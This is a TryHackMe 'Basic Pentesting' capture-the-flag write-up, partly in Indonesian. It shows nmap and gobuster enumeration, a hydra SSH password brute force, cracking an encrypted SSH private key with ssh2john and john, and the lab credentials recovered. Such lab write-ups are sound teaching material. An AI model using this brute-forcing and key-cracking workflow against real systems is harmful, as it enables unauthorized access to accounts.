

WRITE UP BASIC PENTESTING
TRYHACKME

REZKA NORHAFIZAH

[Web App Testing and Privilege Escalation]

Deploy the machine and connect to our network

Find the services exposed by the machine

Using nmap :

```
(kali@kali)-[~/Downloads/TryHackme]
$ nmap -A 10.10.113.65
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-20 07:48 EDT
Nmap scan report for 10.10.113.65
Host is up (0.51s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256  09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ _clock-skew: mean: 1h19m11s, deviation: 2h18m35s, median: -49s
|_ _nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb-os-discovery:
```

What is the name of the hidden directory on the web server (enter name without /)?

Using gobuster :

```
(kali@kali)-[~/Downloads/TryHackme]
$ gobuster dir -u 10.10.113.65 -w /usr/share/wordlists/dirb/common.txt

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.113.65
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s

2021/10/20 07:50:40 Starting gobuster in directory enumeration mode

./hta (Status: 403) [Size: 291]
./htaccess (Status: 403) [Size: 296]
./htpasswd (Status: 403) [Size: 296]
./development (Status: 301) [Size: 318] [→ http://10.10.113.65/development/]
./index.html (Status: 200) [Size: 158]
./server-status (Status: 403) [Size: 300]

2021/10/20 07:53:49 Finished
```

```
← → ↺ 🏠 10.10.113.65/development/dev.txt

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
```

```
← → ↺ 🏠 10.10.113.65/development/j.txt

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K
```

Answer : development

Use brute-forcing to find username & password

- What is the username ?

Using enum4linux :

```
(kali@kali)-[~/Downloads/TryHackme]
$ enum4linux -a 10.10.113.65
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Oct 20 07:58:58 2021

+-----+-----+-----+-----+
| Target Information | netbios | netbios | netbios | netbios |
+-----+-----+-----+-----+
Target ..... 10.10.113.65
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
```

```
+-----+-----+
| Users on 10.10.113.65 via RID cycling (RIDS: 500-550,1000-1050) |
+-----+-----+
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
```

Answer : jan

- What is the password ?

Using hydra :

```
(kali@kali)-[~/Downloads/TryHackme]
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt 10.10.113.65 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpose
s (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-20 08:12:29
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting,
./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.113.65:22/
[STATUS] 96.00 tries/min, 96 tries in 00:01h, 14344303 to do in 2490:20h, 16 active
[STATUS] 95.33 tries/min, 286 tries in 00:03h, 14344113 to do in 2507:43h, 16 active
[STATUS] 91.43 tries/min, 654 tries in 00:07h, 14343745 to do in 2558:47h, 16 active
[22][ssh] host: 10.10.113.65 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-10-20 08:21:16
```

Answer : armando

What service do you use to access the server (answer in abbreviation in all caps?)

Answer : SSH

Enumerate the machine to find any vectors for privilege escalation!

Login to SSH :

```
(kali@kali)-[~/Downloads/TryHackme]
$ ssh jan@10.10.113.65
jan@10.10.113.65's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

What is the name of the other user you found (all lower case?)

Answer : kay

If you have found another user, what can you do with this information?

Saya masuk ke direktori home user lain, yaitu kay, dan menemukan file pass.bak yang hanya bisa dilihat oleh user kay. Lalu, untuk bisa membaca apa isi file tersebut saya masuk ke direktori .ssh dan menemukan sertifikat untuk bisa login ke user kay melalui SSH :

```
jan@basic2:~$ cd /home/kay/
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw-r--r-- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwxr-xr-x 2 kay kay 4096 Apr 17 2018 .cache
-rw-r--r-- 1 root kay 119 Apr 23 2018 .lessht
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw-r--r-- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw-r--r-- 1 root kay 538 Apr 23 2018 .viminfo
jan@basic2:/home/kay$ cd .ssh/
jan@basic2:/home/kay/.ssh$ ls -lah
total 20K
drwxr-xr-x 2 kay kay 4.0K Apr 23 2018 .
drwxr-xr-x 5 kay kay 4.0K Apr 23 2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3.3K Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
```

Namun, sebelum itu, kita harus mengetahui terlebih dahulu password untuk user kay. Saya menggunakan john the ripper untuk membrute force password-nya.

Langkah pertama yaitu saya salin file id_rsa ke local :

```
GNU nano 5.4 ssh.txt
--BEGIN RSA PRIVATE KEY--
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE3CDB65070B92C1F760E2FE75

IoNq/3oq2Pd56EZ23oAaJxLvhu5Z1crRr4ONGUAnKcRkg3-9vn6xucjppZUduItLz
oodyTE3B4uZU7Ue99b878dFVCTOV0vRvYf1C2aLy2Lk2Cnfj28Llv-FkdsN
XRVwJrWgicXPY8B7nsA1e1PyvPZHIHQ0FIYLSMvY79RC6516fPkDSvxxZbdfX
AkAN+3TSFU49AEVK8JtZnLTebw3lmxjv0LLXaQaK50fXMacIQ0UNCHATLpVXmN
1G4Ba67cVXs1AmPef1x7uN4R9BNZ52zp0lplbCbA4EawX0tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyK1KU2dPseU7r1vAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWYe4yrlETfc275h2VvYh6FkLgtOfa1yb0mBgGrM+eWvOXorZPBLv8iyNTD0De
3jRjqbO6lPs01hAWKIRxUpaEr18lCz+0LY00Vw2oNL2xKUGtQpV2jwH04yGdXbFJ
LYWLXxnJJpVMhKC6a75pe4ZvxfmT0QcK4oK01aRGmQLFNwaPJYVGHauUoVEXN7
bUp0+eLYVs5mo5tbpWdh10NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRtnrb
RVhY1CUf7xGNmbzYhZWmPpE218mFsaVFCJEC3CdgN5TvQUXfh6C3JRVRdxVv
VqVjsot+cZ7mbWm5nFsTPP1OnndCGmrUEUjeIbLzBcW6bX5s+b95eFeceWmNve
B0WghnPdTVt3sF3dJxp0hg6Xk4bAMbMnMacHfCk7RpvCRj3sKYWVEDJMYvc87B20
ysv0pVn9mF0d00NAU4pYp6PmUUAZd20eN1WYEXZ2MzyuGCFaASARf6/Kx6g
oHOACCK3iHAKKxb0s4sflGXBaHXbk80ocQAWIOxYJumPKNBbzclQL3e1JrZibhI
VaPeV7X25NaUyu5u4bgtFhb/Fhb8Kb8e14XLWR+4Hxb0tpJ3k6RVByEPZ/KV10q3S1
GpwHSR2on320+A4h0PkcG66JdyHlS68328uViI60a6frrYi0nA4TEjJTP05RpcSEK
QKIG65gJCbpcqJ1U4I9mEHZEHC0+2lyufZbnFYUr0QcV08+mS8X75se0N8aouQL
4DI4IXITq55aCHP4y/ntmz1A3Q0FNjZXAqdFK/hTAdhMQ5diGxNw3tbnD8GveG
VfNSaEXxeZa39j0gm3Vbon6cXp2142k0EwzxCBzWK10CPHFLYUmoDeLqP/NIk
oSXLo3b8aZemI15RAH5gDCLT4k67we19j/JQ6zLUT0V8mLono1I1FdsM04nUnyJ3
z+3XTD2oU15N1Y4J3PLHNNJAlqnpC0aqa7qV3RD/asmL2Lk80UT8PrTtt+S
baXKPFH0dHmownGmDat3P+eMrc6S896+HAXvcvPxLKNTI7+jsNTwuPBCNTSFv019
l9+xs55YTVo1Y8RMwJopzx7h8oRt7Y+V9m/BVTbt+XzmyLnu+3q0q4W2q0ynM2P

Help Write Out Where Is Cut Execute Location Undo M-A Set Mark M-] To Bracket M-; Previous
Exit Read File Replace Paste Justify Go To Line Redo M-6 Copy M-^ Where Was M-~ Next
```

Setelah itu, saya menggunakan python untuk menghasilkan hash-nya :

```
(kali@kali)-[~]
$ python /usr/share/john/ssh2john.py ssh.txt > sshkey.txt
```

```
(kali@kali)-[~]
$ cat sshkey.txt
ssh.txt: $sshng$1$16$6ABA7DE3CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de801a2712ef86e499d5cad1af838d19402729c471837fbdbe7eb172e89cd40ee52d959a3d772204241e
30519aee7813ec99b63ced17455644ce550ad51edcb52b668bcb62e46b08a77e3cf2e5bfe1ac69db0d5d1be3c31d18867173d8f01ee7b00d5e88f62b3d91c81f740e14862548f318bf0f510bae62e9fae40d2
bf15f6ad7d702040U4pYp6PmUUAZd20eN1WYEXZ2MzyuGCFaASARf6/Kx6goH546b05f44edf929de4ac1ef18193469485640909d9bdf4fd9d5ab2ede8e6ac494453674fb1e53ba5bfcf02a6ba4bea202bfc284bd9d3ae446780ba8b4313259458909e9e32ac1137dcdbe61c55598
7a1642eb4e7da9721b32189acc96595a173ab64f065bfc8b23530dd0c4de3463a9b3869af3464d01628847150f684af5f25719f8e958d34570da834bdf129482d2495768f01fae3219d50b7c92d85a55f1
9c926954c840ba6b69f78655c5f98cb7441c2b8a0a3b569118ca8b14dc1a3f125857a1dab9a41513137b6d4a68f9e2d856ce66a39b5ba560e18b43517e718fd6de9b9fb4ef6fbec009ac86cc774ba4802a66
6bffd21c11e47adba55858d4251fe1f18d99b9b3607ccd130329a44da2f261526951422440b7703827e53bd05177e1e82249455ae177157256a563b28b7e0b317b99b5a6e6716c4cf3e53a79dd0ba266ad41148
de21b2f305c5bad67e6cf9b7f978579c79632655e0745a1aa73ed0ed56d837b05763c69d218065ea2b86c03019ccc1c84570aed1a6f0918ec2b25985440c9318bdcf3b674cacbcea559f5a714e51d38df94e29
60f8e9f8d53865dd907443859811764864ccba2e1821d03448045fbb90ac06a07380082b278a101028a6ecf927e581705a1d76fa9341c31001620ec5826e9cf28df1bcf39502c9b3526b65789b86555a3d
e57b5f6e4d694cae6ee1b8d21616ff7fc68129b7a5e1795647ee07c5ba2da49c7a45507210f67f91588eab74b51a9c074916689f7db4c40e2138f91c1bae890f21e54ba077dbcb95888e836ba7eb6223a70384
c48c94cf3b946971210a40220eb980809ba5c5a3d54e08f6610765e1dcd2bda5cae7d96e77d852bd2a095a3cfa64bc5fbc6c79ea0dcfc6ae40be03238217213ab9b1a0873f8cbf9e9d9b3d4d0dd0053635702a
7452bf85301d84c397621979cd37b5b983f301af78655f352684c57799037f633a09b755ba0de9c017a73d76e0a8f46c4c33c4207358a8b408f1c52d8b8ca0378ba8ffcd22a125e5a0973c6997a6225e5100
7e600c223de24ebbc1e8bdf8ff250eb32d44f4bd298ba27a3522215db0c3b89d49f2277cfedd74c3b59a1497936263826308f2e14cd363025aa7a5c39aa9a77b815dd10ff6ac9a5d8bda4074513f0fad3b6df926
da5ca35cf14779a8c271a60da4a93f7e8cadce92f3debe1c05ef72f3f194a36d23bf3ab0d4f08b040236d485be8d7097dfb1c5de79613568d58f113308e8a73c7b87ca11b7b53e63d37f055b5bb7e5f39982e7
bbede3aae16da3329cc8df99d853e97a1fb4c1a2e701e5b7d7b224437158002193e2b20c54138ab407c9706967fe384b263c284cceb0316887e7da79c31e054d8589c0db4c379388b2138d040017f
d256aee3a2d029116a134d5f0c08c1fbf2c61f99a85b0bc588a1f0537f26ecffad969c595fbae9df244f6cbaafb77a11cf4807d8e015833305f0e0e0d22173e80744435
fe3a99a8131109f086cb56d754436aa27a3b7c0d5b0b3b829972368f72ed998c1910b39272c0d4cbaa007a69f2c38f970503971d64b6972f5b7b5c34735a08129c2b7e082c6cc4d9d943a5ae274467c
5d7a07859e39ac0082c371ad599ca0817ce412d35849abd9d225ed96a34de5266b31fd4dd82dab9469582b1e41687a39f108da54b6e84771542cb11f5c522e62b79b6867e8a20df2e8c9bf9ff36634c0de536f
ad3d77fa27543b6c9089513bdf50f03b2dd97e5a25d452fa6a0d225704eb3c19751864285df3031bc2ff5b0c5d19a7fae6ad5625757477aa3c3f0eb635717f1f5b9037b3a76425db2a2151e2810eeffbb7589
3d939366d124009332497a8903cfe9f998bc7052cafe0e5541af2b0b0b0ec50e4caf7984759ffcf3a3e70565d887b9f694bdf64d15a70ed59eacc0c69af3fe3cf5aa5b6e3a7186be5036e12ef53f3c509719a6
af33ec0c008cb6a035229a1597d9b6ebbb1344d84c93f2164844c8ae69aa13648578007b98e90dd03f9da47d9ce306ddcd88d09098bf6d3910d2099ebbb17a0f8b73d944d949b1b1b19b13a555776f3c2e6647
fa672fc2ba2602520684e9151411e3437a92a09febffcf3d55095b43e140567e8f5cb09128b693fe82b8f75c5ca72c0651152faaf0610d2edcab0b9ac51895180fbf60b868771dee58eddb7e99d5ca3
592c9c973a76a0eb96c5a788b6e28fb06024c574482579701781ba6ec979bdc93f39e57967051ca8f7adaf7184bd79ca0a8f34632081c5d6f189dccc4c8a0170cac12c30c1fff21c4f720813112bf901d
f81c5d78ca22024f1cd58cb5b73c1d68c6529ce4b21d7b95941e099f9a6140bdd1f0ead9113b2e5f17c354aacf79a384184d6f84559417552387182ba20d890203a65e9661d23db86fae351a208e55505555
92011f3c96098586b22743b0cc807c9d58076a660be95e460177cab3fd6b690b01a0e4f5d0507157a7e9c4dcf7384187256a9a5d56ab00d466d44e4f07e5f348e8f100e5abe1c4d1bb207f3a3617140a604b
607c7e3f502f9aabb0790ad790e7847e0858e2243e503bf7d097ae15a2ee6179262e351773bb880123c0a87a34f62380fbfe08fc2c63ac08ffe2ba0c6deeffbd49eeaa2ffdf1053aceec67b25f92dcfd25058fa
4fab2328481a126f5f5a5d21e1312b78f913b7f08254b064336d84c1aa3c82582e1cde55b5a347d264cb9e98df34b5490831e5d212b38b7cd999da4f186a97ef6d250e1e682007935854277ac780dd9a505919c
318000fc47f8b00fe84f12c58ad1a3ee3f8190015058c16c41cc0d601709a1fb032ee08842573b30fc3214ac5fb8962437477e81bb6479fa498f148924796d6d616218ec2a5fa094df8542dc9b75fd95
b75c26f8e91ef90b0e01e90e0d720bb973f3471dab5e87f4c1f0a50a7f4e653a8ebd337116fa6e5ed858
```

Kemudian, langsung saya brute force menggunakan john dan didapat passwordnya :

```
(kali@kali)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt sshkey.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (ssh.txt)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:02 DONE (2021-10-20 09:04) 0.3389g/s 4861Kp/s 4861Kc/s 4861KC/sa6_123_..*7j;Vamos!
Session completed
```


Setelah itu, saya mencoba untuk langsung login ke user kay dan ternyata tidak berhasil, karena password tersebut ternyata hanya untuk login melalui SSH. Kemudian saya coba lagi login melalui SSH namun dari machine dengan user jan tadi, dan ternyata berhasil :

```
jan@basic2:/home/kay/.ssh$ su -l kay
Password:
su: Authentication failure
jan@basic2:/home/kay/.ssh$ ssh -i id_rsa kay@10.10.113.65
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.10.113.65 (10.10.113.65)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn40PL7GN/DuVHVv00LT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:   https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls -lah
```

What is final password you obtain?

```
kay@basic2:~$ ls -lah
total 48K
drwxr-xr-x 5 kay kay 4.0K Apr 23 2018 .
drwxr-xr-x 4 root root 4.0K Apr 19 2018 ..
-rw-r--r-- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3.7K Apr 17 2018 .bashrc
drwxr-xr-x 2 kay kay 4.0K Apr 17 2018 .cache
-rw-r--r-- 1 root kay 119 Apr 23 2018 .lessht
drwxrwxr-x 2 kay kay 4.0K Apr 23 2018 .nano
-rw-r--r-- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4.0K Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw-r--r-- 1 root kay 538 Apr 23 2018 .viminfo
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

Answer : heresareallystrongpasswordthatfollowsthepasswordpolicy\$\$